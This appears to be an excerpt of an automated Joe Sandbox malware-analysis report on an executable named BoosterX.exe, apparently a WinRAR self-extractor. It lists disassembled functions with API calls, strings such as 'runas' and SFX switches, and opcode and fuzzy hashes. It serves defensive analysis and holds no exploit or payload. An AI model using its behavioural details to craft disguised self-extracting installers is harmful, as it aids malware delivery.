Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: abort
String ID: $csm$csm
API String ID: 4206212132-1512788406
Opcode ID: 2045304a97019384742e1fa54be03ef2cb538ca31ca8d9edefceaee7868ace1c
Instruction ID: 8eb01ae0897bd2782086f79d85a22c2c9f52c684d5f8b85f4c3a735578bd8d84
Opcode Fuzzy Hash: 2045304a97019384742e1fa54be03ef2cb538ca31ca8d9edefceaee7868ace1c
Instruction Fuzzy Hash: F471A232908A918AD7608F2A94C17797BA0FB06FA8F148175EF8C07BA9CB3CD459C741

Function 00007FFE148B3E1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148B6710: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE148B239E), ref: 00007FFE148B671E

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B3F13
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFE148B3F23

Strings

csm, xrefs: 00007FFE148B3E66
csm, xrefs: 00007FFE148B3F75

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Frameabort$EmptyHandler3::StateUnwind
String ID: csm$csm
API String ID: 4108983575-3733052814
Opcode ID: 17ae4d1ae201bf5ff5bd0027379854c8b70b62102f0a47126d9ef4f452e95dfa
Instruction ID: cf5e1d51bb9c836e4de9b11666ad1ce12af940239f736813bbb24a5875005e43
Opcode Fuzzy Hash: 17ae4d1ae201bf5ff5bd0027379854c8b70b62102f0a47126d9ef4f452e95dfa
Instruction Fuzzy Hash: 4E515032908E828AEB648F17948426976A0FB46BA5F144176FF9D47BE5CF3CE459C700

Function 00007FFE148BA640 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFE148BA6A4

Strings

%lf, xrefs: 00007FFE148BA6EA

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: NameName::
String ID: %lf
API String ID: 1333004437-2891890143
Opcode ID: d5298ca127414f2580a14f53600500394f249bd586459cb27b5a413574188a2a
Instruction ID: 162d7a2983eb44388530bff4f9116ac5e02872313ce5de98db0c38f3ff117437
Opcode Fuzzy Hash: d5298ca127414f2580a14f53600500394f249bd586459cb27b5a413574188a2a
Instruction Fuzzy Hash: E531C67290CE9189EA20CB26E8902B9B3A0FB87794F8481B1F9DD87765CF3CD509C740

Function 00007FFE148B2400 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148B6710: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE148B239E), ref: 00007FFE148B671E

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B243E

Strings

MOC, xrefs: 00007FFE148B2418
RCC, xrefs: 00007FFE148B2410
csm, xrefs: 00007FFE148B2420

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: abortterminate
String ID: MOC$RCC$csm
API String ID: 661698970-2671469338
Opcode ID: b838753ef247b2fc749e3877e0128dea9035de62b0ba29f15289213c97603889
Instruction ID: 238ec9fd24a209618b338e790c8e54bd6575b2e770a68b9a144427b62925cbc4
Opcode Fuzzy Hash: b838753ef247b2fc749e3877e0128dea9035de62b0ba29f15289213c97603889
Instruction Fuzzy Hash: F1F0AF36918A42C9EB505F26E1C51693260FB49B64F0855B2EB4C03372CF3CE4A4CB02

Function 00007FFE148BE8D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

__C_specific_handler.LIBVCRUNTIME ref: 00007FFE148BE8E0

Part of subcall function 00007FFE148BEB20: _IsNonwritableInCurrentImage.LIBCMT ref: 00007FFE148BEBE0
Part of subcall function 00007FFE148BEB20: RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FFE148BE8E5), ref: 00007FFE148BEC2F

Part of subcall function 00007FFE148B6710: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE148B239E), ref: 00007FFE148B671E

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148BE90A

Strings

csm, xrefs: 00007FFE148BE8EB
f, xrefs: 00007FFE148BE8E5

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: C_specific_handlerCurrentImageNonwritableUnwindabortterminate
String ID: csm$f
API String ID: 2451123448-629598281
Opcode ID: a035d3fd41b4857b63fc8c8a091b4ec2a9cd294fa95b54752a5867f425a35df2
Instruction ID: 8287179fc10f2bb2b41e34bd159c282e12898c690b76ec49c9e6f7134086ba0c
Opcode Fuzzy Hash: a035d3fd41b4857b63fc8c8a091b4ec2a9cd294fa95b54752a5867f425a35df2
Instruction Fuzzy Hash: F6E0E531C0CE4298EB606B23B1C127E26A0BF06B74F1480B1FA48073A6CF3CD4A88702

Function 00007FFE148B9BEC Relevance: 6.2, APIs: 4, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148BC2E8: DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC379
Part of subcall function 00007FFE148BC2E8: DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC3B2
Part of subcall function 00007FFE148BC2E8: DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC6DB

DName::operator+.LIBVCRUNTIME ref: 00007FFE148B9D45
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B9DA4
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B9DD6
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B9DE6

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: a1e38ebea857c677fef0ae28369812a07d13309e9ca06832320585fad5392e0f
Instruction ID: 5504bf6370e3a158e222f3340e01efea5a5dadb75a8e7fbbcb79423911582230
Opcode Fuzzy Hash: a1e38ebea857c677fef0ae28369812a07d13309e9ca06832320585fad5392e0f
Instruction Fuzzy Hash: CE914A72E08F668DFB118B66D8803EC27A1BB06768F9540B5EE4D177A5DF7CA849C340

Function 00007FFE148BA378 Relevance: 6.1, APIs: 4, Instructions: 134COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFE148BA41D
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA42D
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA44A
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA47F

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: acbfbbe0c511e3698657a471b19ca6b2ed0dcf73ad2ddb8601ece0c2f14e2016
Instruction ID: ab1bf7dfacaaf250f78813a0a99bda3d7dcda20fb85748da71e8e8d30b197e14
Opcode Fuzzy Hash: acbfbbe0c511e3698657a471b19ca6b2ed0dcf73ad2ddb8601ece0c2f14e2016
Instruction Fuzzy Hash: 18516C72A18E568CEB11CF66E8807BC77A0BB46764F988071EA0E477A5CF3DE549C740

Function 00007FFE148BC79C Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148BC2E8: DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC379
Part of subcall function 00007FFE148BC2E8: DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC3B2
Part of subcall function 00007FFE148BC2E8: DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC6DB

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC817
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC826
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC8A2
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC8B1

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: e0ef2515f9d96f2c1e3124781f903358e6b97f310e73e21928eaf0e85632baf0
Instruction ID: 9d886b8ce61d7f7befc25a0781c89743c58e7991dc3059930c100e7b94388bcc
Opcode Fuzzy Hash: e0ef2515f9d96f2c1e3124781f903358e6b97f310e73e21928eaf0e85632baf0
Instruction Fuzzy Hash: 98416972A08B5589FB01CF69D8803AC37B0F746B58F988079EA8D677A9DF7C9449C310

Function 00007FFE148B4710 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148B6710: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE148B239E), ref: 00007FFE148B671E

_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFE148B47E6
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B4844

Strings

csm, xrefs: 00007FFE148B48EA

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: abort$CreateFrameInfo
String ID: csm
API String ID: 2697087660-1018135373
Opcode ID: 358f0a59b8303083cc6c94dc4aef9fef89783b629f176a2df5e4f3a0ac74caac
Instruction ID: c373d8cd2815cf825c956d7947511c73ade3c19bfbafe98ac5f0aca6ff186188
Opcode Fuzzy Hash: 358f0a59b8303083cc6c94dc4aef9fef89783b629f176a2df5e4f3a0ac74caac
Instruction Fuzzy Hash: 00515E36618B818AD620EB17E48126E77A4FB8ABA4F140575EF8D07B65CF3CE465CB01

Function 00007FFE148B9AD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148B9BD6

Strings

void, xrefs: 00007FFE148B9B38
void , xrefs: 00007FFE148B9B60

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID: void$void
API String ID: 2943138195-3746155364
Opcode ID: 9af3552a770d8b2508846e27a2f9d583d39522cb9c209f0b45164149649c8dbb
Instruction ID: 81610597e75c8314faec84ae6de85f8b6a14502120c38b321ad0559d19f6b12d
Opcode Fuzzy Hash: 9af3552a770d8b2508846e27a2f9d583d39522cb9c209f0b45164149649c8dbb
Instruction Fuzzy Hash: CE310872E18E659CFB108BA5D8814EC37B0BB4A758F840176EE4E62B69DF3C9148C750

Function 00007FFE148B604F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148B63F0: RtlPcToFileHeader.KERNEL32 ref: 00007FFE148B6434
Part of subcall function 00007FFE148B63F0: RaiseException.KERNEL32 ref: 00007FFE148B647A

RtlPcToFileHeader.KERNEL32 ref: 00007FFE148B60BF

Strings

Access violation - no RTTI data!, xrefs: 00007FFE148B604F
Bad dynamic_cast!, xrefs: 00007FFE148B6072

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: FileHeader$ExceptionRaise
String ID: Access violation - no RTTI data!$Bad dynamic_cast!
API String ID: 3685223789-3176238549
Opcode ID: c4c42506f718241a9074068d813cd8d6875e169c3d23e947c08b75e606e33840
Instruction ID: 3399324d074d0203722b2b2c3b10c835f6de00d9f783f6f1d36cb349d11eb6fd
Opcode Fuzzy Hash: c4c42506f718241a9074068d813cd8d6875e169c3d23e947c08b75e606e33840
Instruction Fuzzy Hash: 3601B171A29E0695EE40AB1AE8D05B86320FF41BA8F8050B1F50E077BAEF6CD40DC701

Function 00007FFE148B63F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFE148B6434
RaiseException.KERNEL32 ref: 00007FFE148B647A

Strings

csm, xrefs: 00007FFE148B6467

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 04e89f2c23f7d49b97199698fdfbf86ccf7878464e1c577e170b006b6ea557c8
Instruction ID: fe3b0638edef58db79980c3ae3778946577b6090a82d6a1b415d4ef8f4905af8
Opcode Fuzzy Hash: 04e89f2c23f7d49b97199698fdfbf86ccf7878464e1c577e170b006b6ea557c8
Instruction Fuzzy Hash: D6114F32618F8182EB518F16F48026977A5FB89B98F584271EE8C07B69DF3DD555CB00

Function 00007FFE148B672C Relevance: 5.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFE148B65B9,?,?,?,?,00007FFE148BFA12,?,?,?,?,?), ref: 00007FFE148B674B
SetLastError.KERNEL32(?,?,?,00007FFE148B65B9,?,?,?,?,00007FFE148BFA12,?,?,?,?,?), ref: 00007FFE148B67D4

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 0de69f98998d971f2423aba4fea73eca4e0f6e3aee6112935789783a1afdc9a5
Instruction ID: db7b23100ed42ea45bb8f5d4222ca38e75679be15cc3e7421d11e06d6941aef6
Opcode Fuzzy Hash: 0de69f98998d971f2423aba4fea73eca4e0f6e3aee6112935789783a1afdc9a5
Instruction Fuzzy Hash: 1A118134A09E1246FE209B23A8D46742290BF46BB4F8447B4FD2E137F5DF2CE8598715

Analysis Process: BoosterX.exePID: 7592, Parent PID: 7536COMMON

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	27

Executed Functions

Function 00007FF6C037B110 Relevance: 123.9, APIs: 60, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C035255C: GetDlgItem.USER32 ref: 00007FF6C03525AC
Part of subcall function 00007FF6C035255C: SetWindowTextW.USER32 ref: 00007FF6C03525C8

EndDialog.USER32 ref: 00007FF6C037B250
SetDlgItemTextW.USER32 ref: 00007FF6C037B2A0
GetMessageW.USER32 ref: 00007FF6C037B2D0
IsDialogMessageW.USER32 ref: 00007FF6C037B2E9
TranslateMessage.USER32 ref: 00007FF6C037B2FB
DispatchMessageW.USER32 ref: 00007FF6C037B309
EndDialog.USER32 ref: 00007FF6C037B353
GetDlgItem.USER32 ref: 00007FF6C037B390
SendMessageW.USER32 ref: 00007FF6C037B3B1
SendMessageW.USER32 ref: 00007FF6C037B3C9
SetFocus.USER32 ref: 00007FF6C037B3D2
GetLastError.KERNEL32 ref: 00007FF6C037B5B4
GetLastError.KERNEL32 ref: 00007FF6C037B5E5
GetTickCount.KERNEL32 ref: 00007FF6C037B60B
GetLastError.KERNEL32 ref: 00007FF6C037B675
GetCommandLineW.KERNEL32 ref: 00007FF6C037B7C1
CreateFileMappingW.KERNEL32 ref: 00007FF6C037B880
MapViewOfFile.KERNEL32 ref: 00007FF6C037B8A3
Sleep.KERNEL32 ref: 00007FF6C037B936
UnmapViewOfFile.KERNEL32 ref: 00007FF6C037B95F
CloseHandle.KERNEL32 ref: 00007FF6C037B968
SetDlgItemTextW.USER32 ref: 00007FF6C037BC5E
DialogBoxParamW.USER32 ref: 00007FF6C037C057
EndDialog.USER32 ref: 00007FF6C037C06F
EnableWindow.USER32 ref: 00007FF6C037C226
SendMessageW.USER32 ref: 00007FF6C037C278
ShellExecuteExW.SHELL32 ref: 00007FF6C037B8DB

Part of subcall function 00007FF6C036AAA0: LoadStringW.USER32 ref: 00007FF6C036AB27
Part of subcall function 00007FF6C036AAA0: LoadStringW.USER32 ref: 00007FF6C036AB40

SendMessageW.USER32 ref: 00007FF6C037BE43
SendDlgItemMessageW.USER32 ref: 00007FF6C037BE6A
GetDlgItem.USER32 ref: 00007FF6C037BE78
SendMessageW.USER32 ref: 00007FF6C037BE92
GetDlgItem.USER32 ref: 00007FF6C037BECF
SetDlgItemTextW.USER32 ref: 00007FF6C037BF6C
SetDlgItemTextW.USER32 ref: 00007FF6C037BF84
SetDlgItemTextW.USER32 ref: 00007FF6C037C2A1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037C2E3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037C2E9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037C2EF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037C2F5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037C2FB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037C301
SendDlgItemMessageW.USER32 ref: 00007FF6C037C3C9
EndDialog.USER32 ref: 00007FF6C037C3E3
GetDlgItem.USER32 ref: 00007FF6C037C411
SetFocus.USER32 ref: 00007FF6C037C41A
SendDlgItemMessageW.USER32 ref: 00007FF6C037C4BE
FindFirstFileW.KERNEL32 ref: 00007FF6C037C4E2
FindClose.KERNEL32 ref: 00007FF6C037C60A
SendDlgItemMessageW.USER32 ref: 00007FF6C037C72F

Part of subcall function 00007FF6C035129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C0351396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037CA29
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037CA2F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037CA35
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037CA3B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037CA41
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037CA47

Strings

%s %s, xrefs: 00007FF6C037C659, 00007FF6C037C8C6
winrarsfxmappingfile.tmp, xrefs: 00007FF6C037B860
@, xrefs: 00007FF6C037B736
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF6C037B719
STARTDLG, xrefs: 00007FF6C037B14A
__tmp_rar_sfx_access_check_, xrefs: 00007FF6C037B629
LICENSEDLG, xrefs: 00007FF6C037C049
p, xrefs: 00007FF6C037B72B
REPLACEFILEDLG, xrefs: 00007FF6C037C353
runas, xrefs: 00007FF6C037B749

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Item$Message$_invalid_parameter_noinfo_noreturn$Send$DialogText$File$ErrorLast$CloseFindFocusLoadStringViewWindow$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleLineMappingParamShellSleepTickTranslateUnmap
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 255727823-2702805183
Opcode ID: 4e057d484052a99d1df3ac008361d9c0b2871c0de1c67f6c49b051274d14bbe8
Instruction ID: f1483af4f468b07e08bed65b2fa5d066cf38fd1c89b9a862b22ebee75a0beb7e
Opcode Fuzzy Hash: 4e057d484052a99d1df3ac008361d9c0b2871c0de1c67f6c49b051274d14bbe8
Instruction Fuzzy Hash: 0AD2B522A18A83A1FA209F69E8542F96361FF85786F504536DACDC77E6DF3CE644C700

Function 00007FF6C037CE08 Relevance: 65.0, APIs: 26, Strings: 10, Instructions: 1963windowfileCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6C037D573
SendMessageW.USER32 ref: 00007FF6C037D5A6
SendMessageW.USER32 ref: 00007FF6C037D5D5
MoveFileW.KERNEL32 ref: 00007FF6C037DACB
MoveFileExW.KERNEL32 ref: 00007FF6C037DAE9
GetTempPathW.KERNEL32 ref: 00007FF6C037DBC9

Part of subcall function 00007FF6C0351FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0351FFB

EndDialog.USER32 ref: 00007FF6C037DF4A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C037EE63
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EE6F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EE87
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EE8D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EE93
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EE99
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EE9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EEA5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EEAB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EEB1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EEB7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EEBD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EEC3
